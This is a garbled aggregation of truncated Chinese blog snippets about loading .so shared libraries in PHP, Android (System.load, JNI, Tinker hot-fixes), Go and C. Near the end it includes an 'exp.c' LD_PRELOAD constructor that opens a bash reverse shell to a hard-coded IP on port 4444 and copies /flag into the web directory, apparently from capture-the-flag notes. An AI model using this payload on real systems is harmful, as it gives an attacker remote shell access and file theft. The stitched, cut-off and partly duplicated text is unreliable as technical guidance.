Ubuntu 下php调用C语言.so文件。写一个php模块(php extension),在php中调用该模块内的函数,再通过该模块来调用so中的函数。...首先做一个简单的so文件: /** * hello.c * To compile, use following commands: * gcc -O -c -fPIC -o hello.o hello.c....so文件并放到系统中: $ gcc -O -c -fPIC -o hello.o hello.c $ gcc -shared -o libhello.so hello.o $ su # echo /usr...如果要编译成可动态加载的 php_hello.so,方法要更为简单。.../configure $ make LDFLAGS=-lhello $ sudo make install 此命令会将so放在php的扩展文件去 编辑php的配置文件加载so库 $ .
概述 1.1 C++动态库加载 所需要的头文件的#include, 最为核心的方法如下: void *dlopen(const char * pathname,int mode); //打开动态库...1.2 Java动态库加载 对于android上层的Java代码来说,将以上方法都做好封装,只需要一行代码就即可完成动态库的加载过程: System.load("/data/local/tmp/libgityuan_jni.so...;而System.loadLibrary(String libname)则只会从指定lib目录下查找,并加上lib前缀和.so后缀; 自动加载库的依赖库的不同:System.load(String filename..." when we // actually searched for "liblibMyLibrary.so.so"....最终查找so文件的时候就会在这三个路径中查找,优先查找apk目录。
在实现android插件化过程中,在插件代码中加载so时出现了一些问题,因此特地研究了一下android系统中加载so的过程,记录下来,整理成文。...在android系统中,加载so一般会调用System.loadLibrary(name)或者是System.load(path),这两个函数都可以用来加载so文件,区别在于System.loadLibrary...这两个函数本质上都是一样的,只是搜索so的搜索目录略有差别。下面以System.loadLibrary函数为例来分析加载so的实现原理。...的真正的文件路径;2:调用nativeLoad函数去实现真正的so加载;这里会牵扯到一个问题,如何通过so的名称去ClassLoader拿到so真正的文件路径?...so(findSharedLibEntry),如果已经加载过了,那么直接返回即可;如果没有加载,那么重新加载一遍,加载的过程可以用下面的流程来描述:调用dlopen() 打开一个so文件,取得该so的文件句柄
其中,一个大的第三方so文件,经常会让人头痛。那么,能否动态加载.so文件呢?答案是可以的。...原理 我们知道,如果我们在工程中引入一个so文件,当我们用gradle编译打包时,gradle会将我们jniLibs中的so文件,打到APK包中的lib文件夹下。具体可以参考我的上篇博客。...然后我们安装APK时,系统会将APK包lib文件夹中的so文件拷贝到APP的私有目录下。...具体来说就是: /data/user/0/[包名]/app_libs/ 所以,我们可以将想要加载的so文件,在程序运行时,拷贝到APP的私有目录的对应位置中,然后使用 System.load(......); 加载我们需要的so文件。
二、动态加载so 随着项目业务越来越多,对APK 体积大小要求尽可能的瘦身,通常可以考虑采用在线加载的方式减少最终 apk 安装包的大小。...优图实验室有如下特殊加载要求(6.8商业版已经优化了这里,祥见《LiteAVSDK商业版6.6+,安卓集成动态加载so》)。...image.png 1、这三个so库必需要在本地加载。 image.png 2、这些so库需要按照如下顺序动态加载。...解决办法就是:先把一个32位的so文件打进安装包,其它so库在运行时动态加载,这样App启动的是32位进程,动态加载的so库也是32位版本,运行时就不再闪退。...五、资源 相关文章: LiteAVSDK商业版6.6+,安卓集成动态加载so 动态加载so库的实现方法与问题处理 Android 的 so 文件加载机制提问源码总结参考资料 demo下载
so加载到底有什么特殊性。...唯一可能的问题,就是先加载了旧的so,之后下载新的so进行了热更新。 我们先看下微视中是否有这种现象。要观察这种现象,我们可以打开linker自身的调试开关,开启so加载的日志。...加载过程: [6e193664b0c3bd7_mh1542192899167.jpg] 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。...更近一步,我们自己写个demo测试下刚才的问题(2个按钮,一个加载指定so,一个调用so中的native方法): [图片14.png] 代码不能再简单了: [图片15.png] 正常加载so然后执行native...; 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。
唯一可能的问题,就是先加载了旧的so,之后下载新的so进行了热更新。 我们先看下微视中是否有这种现象。要观察这种现象,我们可以打开linker自身的调试开关,开启so加载的日志。...那么,我们重新复现问题,可以看到如下so加载过程: ? 这个过程表明:旧的so先被加载了,然后下载了新版本的so,并进行了替换。 这个过程有什么问题呢?...正常加载so然后执行native方法都是ok的,使用rm+mv替换或者adb push替换也都是ok的,最后再按照错误的方法操作,步骤为: 1. 启动app,点击加载so; 2. ...如果so有升级,先不加载旧的so,等新的so下载完成之后再加载; 2. 可以先加载旧的so,但是下载了新的so之后,要删除旧的so,再进行替换。...www.ruanyifeng.com/blog/2011/12/inode.html https://www.bo56.com/linux%E4%B8%8Bcp%EF%BC%8Cmv%E8%BF%9B%E8%A1%8C%
一、前言 最近在学习go,因为需要调用c语言打包成的so动态库里面的方法,避免自己再去造轮子,所以想直接使用golang调用so,但是参考了其他博客大佬写的,我每一步原封不动的写下来,结果都是一堆错误...二、环境 因为要将c语言打包,会需要借助gcc的工具,Windows 32位可以直接借助MinGW下载,Windows 64位用MinGW的话,后续打包运行的时候会报错,x86_64这样的错误...2、在目录下创建一个c语言的头文件 hi.h 内容如下: void hi(); 3、在目录下创建一个c语言的实现 hi.c 内容如下: #include void..."fmt" func main(){ C.hi() fmt.Println("Hello c, welcome to go!")...} 5、编译c文件为so动态库,命令: gcc -fPIC -shared -o libhi.so hi.c 这样会在当前文件夹下生成一个 libhi.so
C++库反汇难度较大;可以方便地使用C/C++开源库;便于移植,用C/C++写的库可以方便在其他平台上再次使用;提供程序在某些特定情形下的执行效率,但是并不能明显提升Android程序的性能)。...要使用ndk进行编程,在Java层就必须要对so进行加载。...Java层加载so的函数有两个: System.load(String pathName) System.loadLibraray(String libName) 两个函数的区别就是load函数的参数是...return nativeLoad(name, loader, ldLibraryPath); } } 获得libbrary的路径; 调用native函数nativeLoad()进行加载加载...第二件事情:调用LoadNativeLibrary进行加载。
这个方法是在 so 被加载的时候调用的。今天主要从so 的加载看一下 JNI_OnLoad 的调用。...Flutter的so加载 我们先从 Application 的代码看起: FlutterApplication.onCreate; |--FlutterMain.startInitialization(...加载。...so的加载 AndroidP源码: System.loadLibrary(libName); |--Runtime.loadLibrary0(libName,classLoader); |--|--|-...被加载之后会调用 JNI_OnLoad 方法,我们这次反过来看一下 JNI_OnLoad 加载 native 方法。
作者:张文波 导语 : 在一些混编系统中,我们使用Java成熟的网络/调度框架编写框架代码,使用C++编写适用于计算密集型的so,通过Java函数System.load进行全局静态的so加载/卸载。...考虑开发效率和成熟的网络/调度框架,我们使用Java作为网络和调度框架;而计算密集型或者某些只能使用C/C++的场景(如GPU),我们会使用C++编写so作为算法/业务代码实现。...这个过程涉及到的Java加载so,一般都是使用Java函数System.load()或者System.loadLibrary(),通过JNI调用C++动态链接库,整个流程在业界已经非常成熟。...那我们如何实现Java框架中的so动态加载呢? 一、C++如何实现so动态加载 C++框架实现so的动态加载比较简单,通过dlopen得到加载的so的句柄(void *),dlsym获得函数地址。...ProxySo是一个非常轻量级的so,实现简单并且实测下来,性能跟直接通过C++加载so无明显差异。
本系列 Tinker 源码解析基于 Tinker v1.9.12 校验so补丁流程 与加载资源补丁类似,加载so补丁也要先从校验开始看起。...//tinker//patch-641e634c/lib String libraryPath = directory + "/" + SO_PATH + "/"; HashMap<String, String...so补丁流程 加载so补丁的入口:TinkerLoadLibrary.loadArmLibrary / TinkerLoadLibrary.loadArmV7Library ,区别就是前者用来加载 armeabi...如果匹配上了,就说明要加载的就是这个 so 文件,调用 System.load ,传入文件路径即可。...所以从 Tinker v1.7.7 之后,提供了一键反射的方案来加载 so 补丁文件。
apk 安装目录下; System.load(String pathName) :参数为 so 库在磁盘中完整的路径,可以加载自定义外部 so 库文件; 使用第三方库ReLinker,有so加载成功、...但是采取常规load方式,改动有点大,底层jar包,第三库不好改加载路径。 在应用启动的时,一次注入本地so路径path,待程序使用过程中so准备后安全加载。(原因后面分析,我们先看下实践) 一....正常加载so使用 有兴趣可以直接查看开源代码:https://github.com/AnyMarvel/ManPinAPP 核心类,修改nativeLibraryDirectories列表,加载需要的so...Android 的 so 文件加载机制 从System.loadlibrary() 方法分析so文件的加载流程,如下图所示: [jufml8v3gw.png?...总结: 到此处,那么so文件的动态加载(也可以叫做So文件的热修复)已经介绍完了,起始还是比较简单的,只是修改了so文件列表的数组映射,加载了需要使用的真实的so文件.
但是采取常规load方式,改动有点大,底层jar包,第三库不好改加载路径。 在应用启动的时,一次注入本地so路径path,待程序使用过程中so准备后安全加载。(原因后面分析,我们先看下实践) 一....正常加载so使用 有兴趣可以直接查看开源代码:https://github.com/AnyMarvel/ManPinAPP 核心类,修改nativeLibraryDirectories列表,加载需要的so...Android 的 so 文件加载机制 从System.loadlibrary() 方法分析so文件的加载流程,如下图所示: ?...(nativeLibraryDirectories存储了so文件加载的映射表,这里相当于修改了应用加载so的列表) 61 /** List of native library directories...总结: 到此处,那么so文件的动态加载(也可以叫做So文件的热修复)已经介绍完了,其实还是比较简单的,只是修改了so文件列表的数组映射,加载了需要使用的真实的so文件.
我想对于静态加载 so 库文件,大家都已经很熟悉了,这里就不多说了。...在 Android 开发中调用动态库文件(*.so)都是通过 jni 的方式,而静态加载往往是在 apk 或 jar 包中调用so文件时,都要将对应 so 文件打包进 apk 或 jar 包。...动态加载的优点 静态加载,不灵活,apk 包有可能大。所以采用动态加载 so 库文件,有以下几点好处: 灵活,so 文件可以动态加载,不是绑定死的,修改方便,so 库有问题,我们可以动态更新。...so 库文件很大的话,采用动态加载可以减少 apk 的包,变小。 其实我们常用第三方 so 库,单个可能没问题,如果多个第三方 so 库文件,同时加载可能会出现冲突,而动态加载就能够解决这一问题。...注意路径陷阱 动态加载 so 库文件,并不是说可以把文件随便存放到某个 sdcard 文件目录下,这样做既不安全,系统也加载不了。
常用的so文件c源码 exp.c #include #include __attribute__ ((constructor)) void call () {...unsetenv("LD_PRELOAD"); char str[65536]; system("bash -c 'exec bash -i &>/dev/tcp/47.99.70.18.../4444 <&1'"); system("cat /flag > /var/www/html/flag"); } gcc exp.c -fPIC -shared -o exp.so iconv.c...-shared -fPIC -o iconv.so hack.c #include #include int main(){ system("bash...return 0; } gcc hack.c -o hack.so
Git demo地址 前言 其实现在开发者解决多语言普遍三种解决方案: 第一个是为每个页面提供每种语言的相关页面。 第二种是把内容从表现形式中分离出来,做不同语言的内容文件。...实现 思考 翻译公司给的有的excel有的是json文件,咱们就统一请求json文件吧; html中给标签加个lang属性,到时候页面加载时遍历所有这些有lang属性的标签去实现切换语言; js里的文字用方法实现转换语言...; 把用户选择的语言存到cookie里吧,嗯!...根据自己业务而定 $("#enBtn").bind("click", function () { setLanguage("en"); //这里也可以写一些其他操作,比如加载语言对应的...key对应不上了 使用方法 html中语言切换:给所有标签加上lang属性 js中语言切换:使用__tr()方法 可以直接把script.js作为一个插件使用放到项目中 总结 条条大路通罗马,根据自己的实际需求与业务场景去做即可
一个程序内存分配: 下图是APUE中的一个典型C内存空间分布图(虚拟内存) 例如: #include int g1=0, g2=0, g3=0; int max(int i) { int m1=...version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=0xd66ac36636c4fcfcbe395efb6bbd38c053e1c6c7..., not stripped ELF目标文件格式的最前端是ELF文件头(ELF Header), 包含了描述整个文件的基本属性,如ELF版本、目标机器型号、程序入口地址等 3 加载: 图1做了简单的说明...我理解就是类似mmap函数 直接内存映射 1 ELF文件头 指定加载入口地址 2 加载 代码段 数据段 其他部分 参考 1 Linux内核如何装载和启动一个可执行程序 http://www.cnblogs.com
按App加载so库的正常流程,在编译前就要把so文件放到工程的jniLibs目录,这样会把so直接打包进apk安装包,然后App在启动时就会预先加载so库。...,然后保存到用户目录,并从用户目录加载该so,最后再调用jni方法。...so,只从用户目录加载so文件。...显然上面采用动态加载的App属于第三种情况,此时启动了64位进程,但动态加载的so库却是32位的,所以会闪退。...so库在运行时动态加载,这样App启动的是32位进程,动态加载的so库也是32位版本,运行时就不再闪退; 点此查看Android开发笔记的完整目录
/* * 创建一个长度为0的空sds字符串。 * 即使是空字符串,字符串仍然是以'\0'结尾的。 */ sds sdsempty(voi...
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